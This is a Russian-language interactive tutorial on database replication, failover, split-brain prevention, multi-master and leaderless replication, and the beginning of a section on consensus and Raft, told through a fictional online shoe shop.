    Ловушка синхронного режима. Если все реплики из списка недоступны, PostgreSQL не отвечает на COMMIT: запись висит, пока реплика не вернётся. Синхронная репликация с одной репликой превращает её поломку в остановку всей записи. Поэтому берут кворум ANY 1 из двух-трёх реплик, а инструменты вроде Patroni умеют снимать требование, когда реплик не осталось (об этом — в главе 10).
    Ловушка полусинхронного режима MySQL. Мастер ждёт подтверждения не дольше rpl_semi_sync_source_timeout — по умолчанию 10 секунд. Не дождался — молча переходит в асинхронный режим и продолжает отвечать «сохранено». Удобно для доступности, опасно для RPO: за этим состоянием надо следить (переменная статуса Rpl_semi_sync_source_status) и поднимать тревогу.

    глава 5 · пульт пульт репликации: база, которую можно ломать

    Это живая модель базы «Ботинка»: мастер A и три реплики B, C, D. Сверху покупатели оформляют заказы. Каждый заказ летит в мастер, мастер пишет его в журнал и рассылает журнал репликам — вы видите пакеты. Под каждым узлом — позиция в журнале (LSN) и последние записи.

    Нажмите «▶ Поток заказов». Потом меняйте режим, двигайте задержку сети и ломайте: убейте мастер, порвите сеть, замедлите реплику. Справа журнал событий объясняет каждое действие. Внизу — сколько подтверждённых заказов потеряно и фактические RPO и RTO.

    Режим
    Ломать
    Сеть
    Защита
    заказ есть на мастере и хотя бы одной реплике заказ есть только на этом узле подтверждён клиенту, но потерян получен, но ещё не применён

    Почему картина такая

    Задания пульта

    Журнал событий t = 0,0 с

    Что заложено в модель. Время в модели сжато, чтобы всё успевало случиться на экране. Мастер продлевает «аренду лидерства» у наблюдателя каждую секунду; аренда живёт 3 секунды (в Patroni по умолчанию — 30 секунд). Задержка связи между двумя узлами — сумма задержек обоих. «Замедленная» реплика быстро получает журнал, но применяет его медленно — как будто на ней идёт тяжёлый отчёт Олега. Каждый третий покупатель пишет через «старое соединение», которое держится за тот узел, где открылось, — так в жизни ведут себя пулы соединений. Клиент ждёт ответа не дольше 6 секунд.
    С чего начать. 1) Асинхронно, поток заказов, «Убить мастер» — смотрите на красные заказы. 2) То же в полусинхронном режиме. 3) Выключите ограждение, выберите «мастер + 1 реплика отрезаны» — и получите два мастера. 4) Включите ограждение и повторите. Кнопки «▶ Проверить на пульте» в следующих главах сами выставят нужный сценарий.

    глава 6 · отставание три способа увидеть на реплике не то

    Реплика всегда немного позади мастера. Обычно это миллисекунды, и никто не замечает. Но под нагрузкой, при длинном отчёте на реплике или при медленной сети отставание вырастает до секунд и минут. Тогда пользователь видит странное. У этих странностей есть имена — и у каждой своё лекарство.

    Отставание реплики (replication lag) — сколько времени проходит между записью на мастере и моментом, когда эту запись можно прочитать с реплики.
    новости в газете. Событие случилось утром, а в утренней газете его нет — газету напечатали вчера вечером. Газета не врёт, она просто отстала. Но если прочитать утреннюю газету, а потом вчерашнюю, покажется, что время пошло назад.

    Базовый случай «сохранил и не вижу» с ползунком отставания уже есть в разделе (глава 8). Здесь — все три аномалии, которые описывает теория согласованности (подробнее — в разделе ). В каждой — сцена по шагам и переключатель лечения.

    Лечение
    Как это звучит в требованиях. «После сохранения профиля пользователь в течение всей сессии видит свои изменения (чтение своих записей)». «При повторном открытии списка заказов не пропадают заказы, которые пользователь уже видел (монотонное чтение)». «Ответ продавца никогда не показывается без вопроса, на который он отвечает (согласованный префикс)». Без таких строк разработчик разумно отправит чтение на реплику — и будет прав по постановке.

    глава 7 · переключение failover по секундам: от смерти мастера до первого заказа

    Аварийное переключение (failover) — когда мастер сломался, одну из реплик делают новым мастером и направляют к ней запись. Происходит внезапно, под давлением, часто ночью.
    Плановое переключение (switchover) — то же, но мастер жив: его меняют для обновления, переезда или обслуживания. Можно дождаться, пока реплика догонит, — и не потерять ничего.
    смена капитана. Плановая — в порту: старый капитан передаёт журнал и штурвал из рук в руки. Аварийная — в шторм, капитан за бортом: старпом берёт штурвал, не зная, что капитан успел записать в последние минуты.

    Ниже — проигрыватель. Схема как у «Ботинка»: PostgreSQL на трёх серверах, на каждом агент Patroni, который следит за базой. Кто сейчас мастер, записано в etcd — маленьком надёжном хранилище из трёх узлов. Перед базами стоит прокси HAProxy, приложения ходят через него. Время — реальное, с настройками Patroni по умолчанию. Выберите сценарий и идите по шагам.

    Из чего складывается время переключения

    1. Обнаружение — самая долгая часть

    Нельзя объявить мастер мёртвым по одному пропущенному сигналу: сеть моргает, процессы замирают. Поэтому ждут таймаут — в Patroni это ttl, 30 секунд. Короче таймаут — быстрее переключение, но чаще ложные тревоги.

    2. Выбор — кто самый свежий

    Кандидаты сравнивают позиции в журнале (LSN). Побеждает тот, кто дальше всех: он потеряет меньше. Реплики, отставшие больше порога (maximum_lag_on_failover, по умолчанию 1 МБ журнала), в выборах не участвуют.

    3. Повышение (promote)

    Реплика дочитывает полученный журнал, выходит из режима восстановления и начинает принимать запись. В PostgreSQL — pg_ctl promote или функция pg_promote(). Начинается новая «линия времени» (timeline) — у журнала появляется развилка.

    4. Перенаправление

    Остальные реплики переключают на нового мастера. Клиентов направляют туда же — через прокси, DNS, виртуальный IP или драйвер (глава 8). Пока клиенты не узнали новый адрес, для них переключения не было.

    Ручное или автоматическое

    Ручное: человек решает

    Система поднимает тревогу, дежурный смотрит и командует. Плюс: человек отличит «мастер мёртв» от «сеть моргнула» и не устроит два мастера. Минус: ночью это 10–40 минут: пока проснулся, зашёл, разобрался. Годится, если RTO — час.

    Автоматическое: решает кворум

    Агенты сами обнаруживают, выбирают и повышают. Плюс: 30–60 секунд вместо получаса. Минус: автомат не видит всей картины и может ошибиться. Поэтому автоматике нужны кворум и ограждение (глава 9) — без них автоматическое переключение опаснее ручного.

    Что делать со старым мастером. Он не должен вернуться мастером. Его журнал ушёл вперёд по старой линии: там могут быть последние асинхронные записи, которых нет у нового мастера. Такой сервер надо перемотать к развилке (в PostgreSQL — pg_rewind) или залить заново с нового мастера, и только потом подключить репликой. Лишние записи при этом вырезаются. Если они важны, их достают из старого журнала руками — и это должно быть описано в регламенте заранее.

    глава 8 · клиенты как приложение узнаёт, что мастер теперь другой

    Новый мастер повышен. Но приложение «Ботинка» по-прежнему стучится по старому адресу. Переключение закончилось только тогда, когда клиенты пишут в нового мастера. Способов направить их — пять, и у каждого своя задержка и свои грабли.

    Точка входа — адрес, по которому приложение ищет мастер. Это может быть виртуальный IP, имя в DNS, прокси или список серверов в строке подключения. Главное требование: после переключения она ведёт к новому мастеру, а не к старому.
    табличка «Касса» в магазине. Кассира пересадили за другой стол — табличку надо перевесить. Пока висит старая, покупатели стоят у пустого стола.

    Посчитайте: сколько секунд клиенты стучатся в пустоту

    Полное время без записи — это обнаружение + выбор + повышение + перенаправление клиентов. Двигайте ползунки и выбирайте способ перенаправления.

    30
    60
    3
    обнаружениевыборповышениеклиенты узнают
    Без записи: —Потеряно заказов при 40 в секунду: —

    глава 9 · раскол два мастера сразу: split-brain и как его не допустить

    Самая дорогая авария репликации случается не когда мастер умер, а когда он жив, но его не видно. Порвалась сеть между дата-центрами. Автоматика видит: мастер не отвечает. Повышает реплику. А старый мастер работает, и приложения рядом с ним продолжают в него писать.

    Split-brain («расщепление мозга») — состояние, когда два узла одновременно считают себя мастером и оба принимают запись. Данные расходятся: у одного мастера заказ №1043 — Пётр, у другого №1043 — Ира.
    у магазина два директора: одного считали уволенным, а он об этом не знал и продолжал подписывать приказы. Приказы обоих выполнялись. Теперь бухгалтерии надо разобрать две стопки противоречащих бумаг — вручную, по одной.
    Почему это хуже потери. Потерянный заказ — один звонок в поддержку. Раскол — это две версии правды: одинаковые номера заказов у разных покупателей, остатки, проданные дважды, деньги, списанные по несуществующим заказам. Автоматически это не склеить. В 2018 году у GitHub сеть между площадками пропала на 43 секунды; автоматика перевела запись в другой дата-центр, часть записей осталась в старом, и сервис работал с перебоями 24 часа 11 минут, пока данные сводили.

    Корень проблемы: мёртвый и отрезанный выглядят одинаково

    Узел не отвечает. Он умер? Замер? Или просто до него не доходит сеть? Снаружи эти три случая неотличимы. Значит, нельзя строить защиту на надежде «если не отвечает — значит, мёртв». Защита строится на трёх приёмах.

    1. Кворум

    Мастером можно стать, только если тебя поддержало большинство узлов-голосующих. Большинство из 3 или 5 может быть только одно. Меньшинство за разрывом сети мастера выбрать не может.

    2. Ограждение

    Fencing — прежде чем повысить нового мастера, старого гарантированно лишают возможности писать: выключают питание, отрезают от диска или от сети.

    3. Аренда

    Lease — право быть мастером выдаётся на время. Не продлил вовремя — обязан сам перестать принимать запись, даже если сеть ничего не сказала.

    Кворум и третий дата-центр

    Кворум (quorum) — большинство голосующих: больше половины. Из 3 — два, из 5 — три. Правило «больше половины» гарантирует, что две группы за разрывом сети не могут обе набрать большинство.
    голосование в совете дома из пяти квартир. Решение принимается, если «за» хотя бы три. Две компании в разных подъездах не могут принять противоположные решения: на двоих у них всего пять голосов, три и три не набрать.

    Типичная ошибка — поставить голосующие узлы в два дата-центра поровну. Раскладывайте узлы etcd по площадкам и смотрите, что переживёт кластер.

    Свидетель (witness, arbiter) — узел, который только голосует и не хранит данных. Его ставят в третью площадку, даже самую дешёвую, чтобы у кворума была «решающая» сторона. В MongoDB это arbiter, в etcd — просто третий узел в другом месте.

    Ограждение: STONITH и токены

    STONITH (shoot the other node in the head, «выстрели другому узлу в голову») — ограждение через выключение: перед повышением нового мастера старому выключают питание через отдельную сеть управления сервером или через облачный API. Грубо, но надёжно: выключенный не пишет.
    прежде чем выдать новому охраннику ключи от склада, у старого не просто забирают ключи — меняют замок. Даже если у старого остался дубликат, дверь он уже не откроет.
    Токен ограждения (fencing token) — номер, который растёт при каждой смене лидера: 33, 34, 35… Лидер прикладывает свой номер к каждой записи. Хранилище помнит самый большой номер, который видело, и отвергает запись с меньшим.
    номер приказа о назначении. Новый директор назначен приказом №34. Банк, получив платёжку с подписью по приказу №33, отказывает: «этот директор уже не действует».

    Секвенс ниже показывает, зачем токен нужен даже при аренде. Процесс-лидер замер на сборке мусора (garbage collection, GC) — пауза, когда программа на Java или Go останавливается, чтобы почистить память. Пока он стоял, аренда истекла. Проснувшись, он не знает об этом.

    Аренда лидерства (leader lease) — право быть мастером на ограниченное время, например 30 секунд. Мастер обязан продлевать аренду в хранилище кворума (etcd, ZooKeeper, Consul). Не продлил — обязан сам перестать принимать запись. Новый мастер назначается только после истечения аренды старого.
    ключ от переговорной на ресепшене выдают на час. Не продлил — ключ считается сданным, даже если вы забыли его вернуть. Порядочный сотрудник, у которого истёк час, сам выходит из комнаты — ему не нужно, чтобы его выгоняли.
    Самоограждение в Patroni. Если агент на мастере не может обновить ключ лидера в etcd, он сам переводит PostgreSQL в режим только чтения — ещё до того, как истечёт аренда. А на случай, если завис сам агент, Patroni умеет использовать сторожевой таймер (watchdog) операционной системы: не «погладил» его вовремя — сервер перезагружается.

    Почему автоматическому переключению нужен консенсус

    Вопрос «кто сейчас мастер» — это вопрос, на который все узлы должны ответить одинаково, даже когда часть из них отрезана, а часть замерла. Задача называется консенсус. Её нельзя решить скриптом «пингуй мастер и повышай реплику» — такой скрипт и устраивает раскол. Её решают специальные протоколы: Raft (в etcd, Consul), ZAB (в ZooKeeper), Paxos. Самодельного консенсуса не бывает: бывает консенсус с ошибкой, которую ещё не нашли. Как он устроен внутри — в следующем разделе .

    глава 10 · инструменты кто делает переключение в реальных системах

    Самому писать автоматическое переключение не нужно и опасно. Для каждой популярной базы есть проверенные инструменты. Аналитику не надо уметь их настраивать, но надо понимать, что каждый обещает: как быстро переключает, может ли потерять подтверждённую запись и что защищает от двух мастеров. Нажмите на строку таблицы — раскроется разбор.

    Как это выглядит в конфигурации

    Выберите инструмент — покажем главный кусок настроек с пояснениями по строкам.

    Вопросы, которые аналитик задаёт команде про любой инструмент. 1) Какой режим репликации — сколько подтверждённых записей можно потерять? 2) Сколько секунд занимает автоматическое переключение с нашими настройками? 3) Что защищает от двух мастеров — где кворум и есть ли ограждение? 4) Как приложение узнаёт новый адрес? 5) Когда последний раз переключение проверяли на учениях? Если на пятый вопрос ответ «никогда» — остальные ответы не проверены.

    глава 11 · мульти-мастер два региона пишут одну запись: кто прав?

    «Ботинок» открыл склад и офис в Новосибирске. Писать каждый заказ через всю страну в московский мастер — это 40–60 миллисекунд туда и обратно на каждый запрос. Хочется, чтобы в каждом регионе был свой мастер. Так появляется мульти-мастер.

    Мульти-мастер (multi-leader, active-active) — схема, где запись принимают несколько узлов, обычно по одному в каждом регионе. Каждый пересылает свои изменения остальным асинхронно.
    общий семейный календарь в двух телефонах без связи. Мама в Москве записала на субботу дачу, папа в Новосибирске — на то же время театр. Каждый видит у себя правильный календарь. Когда телефоны синхронизируются, в субботе окажутся два противоречащих плана — это и есть конфликт записи.

    Зачем берут

    Быстрая запись рядом с пользователем в каждом регионе. Регион живёт, даже если связь с другими порвалась. Офлайн-приложения (заметки, календари) — тоже мульти-мастер: каждый телефон — свой «мастер».

    Чем платим

    Конфликты. Одну и ту же запись могут одновременно поменять в двух местах. Кто-то должен решить, какой вариант останется. Все способы решить — со своими потерями. Ограничения вроде «уникальный e-mail» или «остаток не меньше нуля» между регионами не соблюдаются сами.

    Разрешите конфликт сами

    В 12:00:00 Москва и Новосибирск почти одновременно меняют одну запись. Выберите, что меняют, и стратегию разрешения. Ползунок — насколько врут часы новосибирского сервера. Смотрите, что останется в обоих регионах после синхронизации и что потеряется.

    Что правят
    Стратегия
    0

    Последняя запись побеждает (LWW)

    Last write wins — у каждой записи метка времени, при конфликте остаётся запись с большей меткой. Просто и всегда сходится. Но проигравшая запись молча теряется, а «позже» определяют часы серверов — а они расходятся на миллисекунды и больше. Почему часам нельзя верить — в разделе .

    Версии и векторные часы

    Каждый узел ведёт счётчик своих правок. По таким векторам версий видно, узнала ли одна правка о другой. Если нет — правки параллельны, это конфликт. База не выбирает сама, а хранит обе версии («братьев», siblings) и отдаёт приложению: решай.

    Слияние по правилу

    Приложение знает смысл данных и сливает сам: объединить корзины, взять больший статус заказа («отправлен» сильнее «оплачен»), показать человеку обе версии адреса. Правило пишет аналитик — это бизнес-решение, а не техническое.

    CRDT

    CRDT (conflict-free replicated data types) — типы данных, которые сливаются всегда одинаково и без потерь при любом порядке доставки: счётчики, множества, списки. Счётчик хранит «сколько прибавил и отнял каждый регион», а не итог. Цена: подходят не все данные, и объём метаданных растёт.

    Совет, который экономит годы. Прежде чем брать мульти-мастер, спросите: нельзя ли сделать каждой записи одного хозяина? Например, заказы покупателя из Сибири пишутся только в Новосибирске, из Москвы — только в Москве. Тогда мастеров несколько, а конфликтов нет: у каждой строки ровно один пишущий. Это самый частый и самый дешёвый выход.

    глава 12 · без лидера Cassandra и DynamoDB: когда главного нет вовсе

    Есть третий путь — не выбирать мастера совсем. Клиент (или любой узел-координатор) пишет сразу в несколько копий и читает сразу из нескольких. Так устроена Amazon Dynamo (статья 2007 года), а за ней Cassandra, ScyllaDB, Riak. Переключения нет, потому что нечего переключать: упавший узел просто не отвечает, а остальные работают.

    Безлидерная репликация (leaderless) — каждая копия принимает запись и чтение. Правильность держится на кворуме: запись ждёт подтверждения W копий из N, чтение спрашивает R копий. При W + R > N чтение обязательно заденет свежую копию.
    три записные книжки у трёх секретарей. Новый телефон клиента диктуете любым двум. Чтобы узнать телефон, спрашиваете любых двух и берёте самую свежую запись. Хотя бы один из опрошенных точно слышал вашу диктовку.

    Сама формула с ползунками N, W, R разобрана в разделе (глава 9). Здесь — вопрос глубже: как отставшие копии догоняют, если мастера, рассылающего журнал, нет? Механизмов три. Пройдите схему.

    Подсказанная передача (hinted handoff) — если копия недоступна, координатор сохраняет у себя «записку»: «вот правка для узла C». Когда C вернётся, записку доставят. В Cassandra записки хранятся не дольше max_hint_window — по умолчанию 3 часа.
    Починка при чтении (read repair) — читая с нескольких копий, координатор видит, что одна отдала старую версию, и тут же дописывает ей свежую.
    Фоновая сверка (anti-entropy repair) — периодически копии сравнивают свои данные целиком и доливают разницу. Чтобы не гонять по сети терабайты, сравнивают деревья Меркла.
    дерево Меркла — это сверка двух библиотек. Сначала сравнивают одну цифру: «сколько всего книг и контрольная сумма всех названий». Совпала — библиотеки одинаковы, всё. Не совпала — сравнивают по этажам, потом по залам, потом по полкам. Расхождение находят за несколько сравнений, не перебирая каждую книгу.

    Найдите расхождение деревом Меркла

    У двух копий по 8 диапазонов ключей, в каждом тысячи строк. В одном диапазоне копии разошлись. Каждый квадратик — хеш: короткий «отпечаток» содержимого. Родитель — хеш от хешей детей. Жмите «Сравнить шаг» — сверка идёт сверху вниз и спускается только туда, где отпечатки разные.

    Ловушка удалений. Удаление в Cassandra — это не стирание, а запись-«надгробие» (tombstone). Надгробия хранятся gc_grace_seconds — по умолчанию 10 дней — и потом вычищаются. Если узел пролежал выключенным дольше, а сверку не запускали, он вернёт удалённые строки к жизни: «зомби-данные». Поэтому регламент «запускать repair чаще, чем раз в 10 дней» — не прихоть администратора, а условие правильности данных.
    Когда это выбирают. Огромный поток записи, много регионов, недопустим даже минутный простой на переключение, а данные терпят «в итоге согласованно»: лента событий, телеметрия, корзины, счётчики. Для остатков и денег чаще берут лидера и транзакции.

    глава 13 · расстояния и девятки скорость света и минуты простоя в год

    Две вещи, которые нельзя обмануть настройками. Первая: сигнал по оптоволокну идёт примерно 200 000 километров в секунду — это 200 километров за миллисекунду. Синхронная реплика в другом городе добавляет к каждой записи как минимум дорогу туда и обратно. Вторая: каждый отказ стоит минут простоя, и сумма этих минут за год и есть ваша «доступность».

    Гео-репликация (geo-replication) — копии базы в разных городах или странах. Защищает от потери целого дата-центра и приближает чтение к пользователям.
    вы согласовываете договор. Если юрист сидит в соседнем кабинете, подпись — минута. Если в другом городе и документ везёт курьер — день. Синхронная реплика далеко — это курьер на каждую подпись.

    Где поставить синхронную копию

    3
    Как делают на практике. Синхронная копия — в соседней зоне доступности того же города (задержка 1–2 мс). Асинхронная — в другом городе, на случай потери всего региона. Так RPO для обычных аварий равен нулю, а для катастрофы — секунды. Облака продают это как Multi-AZ (синхронно внутри региона) плюс межрегиональные реплики (асинхронно). Как пережить потерю целого региона — холодный, тёплый и горячий резерв, переключение регионов — в следующем разделе .

    Калькулятор девяток и потерь

    Доступность (availability) — доля времени, когда система работает. Её пишут «девятками»: 99,9 % — «три девятки», 99,99 % — «четыре». Каждая девятка сокращает допустимый простой в 10 раз.
    магазин у дома работает «99 %» — значит, закрыт 3,5 дня в году. «99,99 %» — закрыт меньше часа за год, то есть одну обеденную паузу на весь год.

    Теперь посчитайте «Ботинок». Сервер базы в среднем работает 99,5 % времени (то есть ломается или обслуживается 44 часа в год). Что дают реплики и автоматическое переключение?

    1
    6
    60
    200
    40
    Простой в год: — Доступность: — Потерянных заказов в год: —

    глава 14 · требования как аналитику написать требования к репликации

    Утром после распродажи аналитик Олег садится писать требования. Слова «система должна быть надёжной» и «высокодоступной» ничего не значат: их нельзя проверить. Хорошее требование содержит число, условие и способ проверки.

    ПлохоХорошоЧто это даёт команде
    Данные не должны терятьсяRPO для заказов и платежей = 0: подтверждённый клиенту заказ сохраняется минимум на двух серверах в разных зонах доступности. Для истории просмотров RPO ≤ 5 мин.Полусинхронная репликация для заказов; для просмотров хватит асинхронной
    Система должна быстро восстанавливатьсяПри отказе сервера базы запись заказов возобновляется не позднее чем через 60 с автоматически, без участия дежурного. Проверяется ежеквартальными учениями.Автоматическое переключение, ttl ≈ 30 с, прокси с проверкой, учения
    Высокая доступность 24/7Доступность оформления заказа — 99,95 % за календарный месяц (не более 22 мин простоя), без учёта согласованных окон работ.Ясно, сколько отказов и какой длины допустимо
    Пользователь видит актуальные данныеПосле сохранения профиля пользователь в той же сессии видит изменения. Каталог и отзывы могут отставать до 5 с.Чтение своих записей с мастера или по LSN; каталог — с реплик
    Нужна гео-репликацияПри потере дата-центра целиком: RPO ≤ 10 с, RTO ≤ 30 мин, переключение ручное по решению дежурного руководителя.Асинхронная реплика в другом городе; ручное решение исключает раскол
    Два мастера для надёжностиОдновременная запись в двух регионах недопустима для остатков и платежей; для корзин допустима с объединением содержимого при конфликте.Мульти-мастер только там, где аналитик описал правило слияния

    Подберите решение под требование

    Решено 0 из 0.

    Частые ошибки

    Нажмите на пункт, чтобы раскрыть.

    глава 15 · проверь себя задачи из жизни

    Если ответ не очевиден, вернитесь к главе: режимы (4), аномалии (6), переключение (7–8), раскол (9), мульти-мастер (11), без лидера (12).

    Решено 0 из 0.

    Вся ночь в пяти фразах. Копии спасают от смерти сервера, но не от ошибок людей. Момент ответа «сохранено» решает, сколько потеряем: асинхронно — отставание, синхронно — ноль ценой задержки. Время без записи — это в основном время обнаружения, и его нельзя сжать бесплатно. Хуже потери — два мастера; от них защищают кворум, аренда и ограждение, а не скрипты. И всё это надо записать числами в требования и проверить на учениях.
    Дальше → следующий раздел — «Консенсус и Raft 🗳»

    Консенсус — это способ, которым несколько серверов договариваются об одном и том же, даже когда часть из них падает, а сеть теряет сообщения. Без него у системы однажды появляются «два главных» — и последнюю пару кроссовок продают двоим. Весь раздел — одна история. В пятницу в «Ботинке» случился такой «двуглавый» вечер. После него архитектор Марина ставит кластер из пяти узлов на алгоритме Raft. Мы по шагам разберём, как узлы выбирают лидера, как одна запись становится «подтверждённой» и почему два лидера не могут подтверждать записи одновременно. И будем ломать всё это на живой модели.

    зачем это зачем аналитику и архитектору понимать консенсус

    карта раздела одна история, шестнадцать глав

    Главы идут по порядку: каждая опирается на предыдущую. Самое наглядное — живой кластер в главе 5: к нему возвращаются почти все следующие главы. Кнопка переносит к главе.

    глава 1 · завязка пятница, 21:05: у «Ботинка» два главных склада

    У магазина «Ботинок» есть сервис резервов. Он помнит, сколько пар каждого размера осталось на складе, и не даёт продать больше, чем есть. Чтобы сервис не падал, разработчик Борис поставил две копии: главную и запасную. Они стоят в разных стойках серверной.

    Запасная копия каждые полсекунды спрашивает главную: «ты жива?». Правило переключения Борис написал сам: «если главная молчит 3 секунды — становлюсь главной». Правило выглядит разумно. Пройдите по шагам, что случилось в пятницу.

    Как читать схему. Подсвечено то, что участвует в шаге. Стрелки между рядами — кто кому что отправил. Жмите «Дальше →» или ▶.

    Коммутаторы перезагружаются, провода выдёргивают, сети «моргают» — это обычная жизнь, а не редкая авария. Настоящая беда в другом. Запасная копия приняла решение в одиночку. Она решила «главная умерла», хотя главная была жива — просто до неё не доходили сообщения.

    Расщепление мозга (split-brain) — две части системы одновременно считают себя главными и обе принимают изменения. Данные расходятся. Свести их обратно автоматически обычно нельзя: непонятно, чья версия правильная.
    в семье две банковские карты к одному счёту, а на счёте 5 000 ₽. Муж и жена в разных магазинах одновременно покупают по телевизору за 5 000 ₽. Если банк не договаривается сам с собой, кто был первым, оба чека пройдут, а счёт уйдёт в минус. Хороший банк сначала решает, какая операция первая, и только потом отвечает «оплачено».

    Что такое консенсус

    Консенсус (consensus) — способ, которым несколько серверов договариваются об одном значении. Договорённость честная, если выполнены четыре условия. Согласие: все, кто решил, решили одно и то же. Необратимость: решённое больше не меняется. Законность: решено одно из реально предложенных значений, а не выдуманное. Живучесть: решение принимается, пока работает большинство серверов и сеть между ними.
    совет жильцов дома. Решение принято, только если за него проголосовало большинство квартир. Всё записывается в протокол собрания с номером созыва. Даже если двое жильцов уехали на дачу, дом продолжает принимать решения. А два разных «председателя» одновременно распоряжаться не могут: у второго не наберётся большинства.

    Серверы на практике договариваются о трёх видах вещей:

    👑 Кто главный

    Выбор лидера (leader election). Среди копий резерва главной может быть только одна — та, которую признало большинство.

    📜 В каком порядке

    Порядок операций. «Анна резервирует пару», «Глеб резервирует пару» — кто первый? Все копии должны применить операции в одном и том же порядке.

    🔑 Чьё значение

    Одно общее значение: кто держит блокировку, какая версия настроек действует, в каком узле живёт раздел данных.

    Второй вид — самый важный. Если все копии договорились о порядке операций, остальное получается само. Это главный приём, на котором стоят все системы в этом разделе.

    Репликация автомата состояний (state machine replication). Все копии начинают с одинакового состояния. Они применяют одни и те же команды в одном и том же порядке. Команды детерминированы: одинаковый вход даёт одинаковый результат. Значит, состояния копий совпадают. Спорить нужно только о порядке команд. Этот упорядоченный список команд называют журналом (log).
    шахматы по переписке. Два игрока в разных городах ведут одну партию на двух досках. Если оба делают одни и те же ходы в одном порядке, доски у них одинаковые. Спорить о положении фигур не нужно — достаточно договориться, какой ход был следующим.

    Где консенсус уже работает — вы им пользуетесь каждый день

    Почти никто не пишет консенсус сам. Его берут готовым: внутри хранилища координации или внутри базы. Выберите систему — увидите, о чём в ней договариваются узлы и на каком алгоритме.

    Что решила Марина

    В понедельник аналитик Олег записал требование: «В любой момент главной может быть не более одной копии сервиса резервов. Подтверждённый резерв не теряется при отказе любого одного сервера». Архитектор Марина прочитала и сказала: «Это задача консенсуса. С двумя копиями её не решить никак — нужна третья, которая рассудит. Писать консенсус сами не будем: поставим кластер etcd, а главную копию будем выбирать через него».

    Дальше в разделе живёт этот кластер: пять узлов A, B, C, D, E на алгоритме Raft. В нём хранится, кто сейчас главный в сервисе резервов, и настройки магазина — например, текущая скидка. Сначала разберёмся, почему договориться так трудно.

    Связанные разделы. Как копируют данные и переключают главную базу — «Репликация и переключение». Что такое транзакция и журнал базы — «Базы данных». Где консенсус прячется в Kubernetes и Kafka — в их разделах.

    глава 2 · почему трудно мёртвый или медленный — изнутри не отличить

    Договориться за одним столом легко: все слышат всех, и все видят, кто вышел из комнаты. Серверы договариваются через сеть. У сети и серверов есть неприятные привычки. Каждую из них консенсус обязан пережить.

    📭 Сообщение потерялось

    Пакет ушёл и не пришёл. Отправитель об этом не узнает — узнает только, что ответа нет.

    🐢 Сообщение опоздало

    Пришло через 5 секунд, когда его уже не ждали. Или пришло дважды. Или два сообщения пришли в обратном порядке.

    💥 Сервер упал

    Выключился и молчит. Потом его, может быть, включат — с тем, что успело записаться на диск.

    😴 Сервер «завис»

    Пауза сборки мусора на 10 секунд, перегруженный диск, виртуальную машину переносят на другой хост. Потом он «просыпается» и продолжает как ни в чём не бывало — уверенный, что прошла доля секунды.

    ✂ Сеть разрезана

    Серверы живы, но группа слева не слышит группу справа. Каждая группа думает, что умерла другая.

    ⏱ Часы врут

    Часы на серверах идут чуть по-разному и иногда прыгают. «Сейчас 21:05:03» на двух машинах — разные моменты. Подробнее — в разделе «Время и порядок».

    Главная трудность. Узел A не получил ответа от узла B. Возможные причины: B умер; B жив, но завис; запрос потерялся; ответ потерялся; всё просто медленно и ответ ещё в пути. Изнутри A все пять случаев выглядят одинаково — как тишина. Любое правило «молчит N секунд — значит, умер» иногда ошибается.
    Модель отказов — список того, как именно может сломаться узел, от которого алгоритм обещает защитить. Падение с остановкой (crash-stop): узел умер и больше не вернётся. Падение с восстановлением (crash-recovery): узел умер и вернулся с тем, что было на диске. Потеря сообщений (omission). Византийский отказ (byzantine): узел ведёт себя произвольно, в том числе врёт. Raft защищает от первых трёх, но не от последнего — об этом глава 12.

    Таймаут: где провести черту между «медленный» и «мёртвый»

    Раз отличить нельзя, остаётся одно — выбрать таймаут: сколько тишины считать смертью. Любой выбор чем-то платит. Короткий таймаут — быстро замечаем настоящее падение, но часто принимаем паузу за смерть и устраиваем лишние выборы. Длинный — лишних выборов нет, но при настоящем падении система долго стоит без главного. Подберите сами.

    —
    Ложных выборов в сутки: — Простой записи при настоящем падении лидера: — Сердцебиение лидера — раз в: —
    Что заложено в модель. Условный кластер, в котором случаются «тихие» паузы: сборка мусора, заминки диска и сети. Коротких пауз много, длинных мало: пауз длиннее 50 мс — несколько сотен в сутки, длиннее секунды — меньше одной. Сердцебиение берём в десять раз чаще таймаута. Числа условные, они нужны, чтобы почувствовать порядок величин. В etcd по умолчанию сердцебиение 100 мс, таймаут выборов 1000 мс, а документация советует таймаут не меньше десяти времён сети туда-обратно.

    Задача двух генералов: почему нельзя «договориться наверняка»

    Старая задача, её разбирают на первых лекциях по распределённым системам. Она показывает: по ненадёжной сети невозможно получить полную уверенность, что другая сторона знает то же, что и вы.

    Теорема FLP: цена честности

    Теорема FLP (Фишер, Линч и Патерсон, 1985). Пусть сеть асинхронная: у задержки сообщения нет верхней границы. Тогда никакой детерминированный алгоритм не может гарантировать, что узлы всегда договорятся, если хотя бы один узел может упасть.
    Проще говоря. Консенсус обещает две вещи: «никогда не решить неправильно» (безопасность) и «когда-нибудь решить» (живучесть). FLP говорит, что при совсем плохой сети оба обещания разом дать нельзя. Raft выбирает так: безопасность — всегда, при любой сети. Живучесть — только когда сеть ведёт себя «нормально большую часть времени». Для этого нужны таймауты и случайность. В плохие минуты Raft лучше постоит без лидера, чем выберет двух.
    Связь с теоремой CAP. Когда сеть разрезана, Raft-система выбирает согласованность: меньшая часть перестаёт принимать запись. Поэтому etcd, ZooKeeper и Consul относят к CP-системам. Подробнее о согласованности и о том, что бывает при асинхронной репликации без консенсуса, — в разделе «Репликация и переключение».

    глава 3 · кворум большинство: почему 3 или 5 узлов, а не 2 и не 4

    В пятницу у Бориса было две копии, и каждая решала в одиночку. Консенсус запрещает решать в одиночку. Любое решение принимается, только если его поддержало большинство.

    Кворум (quorum) — минимальное число участников, при котором решение считается принятым. В Raft кворум — это большинство полного состава: из N узлов нужно ⌊N/2⌋ + 1. Из 3 — два, из 5 — три, из 7 — четыре.
    в доме 5 квартир, решение принято, если «за» проголосовали хотя бы 3. Может ли совет принять два противоположных решения? Нет: для каждого нужно 3 голоса, а квартир всего 5. Значит, хотя бы одна квартира голосовала бы и «за», и «против». А каждая квартира голосует один раз.
    Главное свойство большинства: любые два большинства пересекаются. Хотя бы один узел входит в оба. Этот общий узел помнит первое решение и не даст принять второе, противоположное. На этом свойстве держится вся безопасность Raft: и то, что в терме не бывает двух лидеров, и то, что подтверждённая запись не теряется.

    Калькулятор: сколько узлов может упасть

    Чтобы пережить отказ f узлов, нужно 2f + 1 узлов: тогда даже без f узлов остаётся f + 1 — большинство. Двигайте ползунки. Особенно посмотрите на чётные числа.

    5
    0
    Кворум (большинство): — Можно потерять узлов: — Сейчас: —
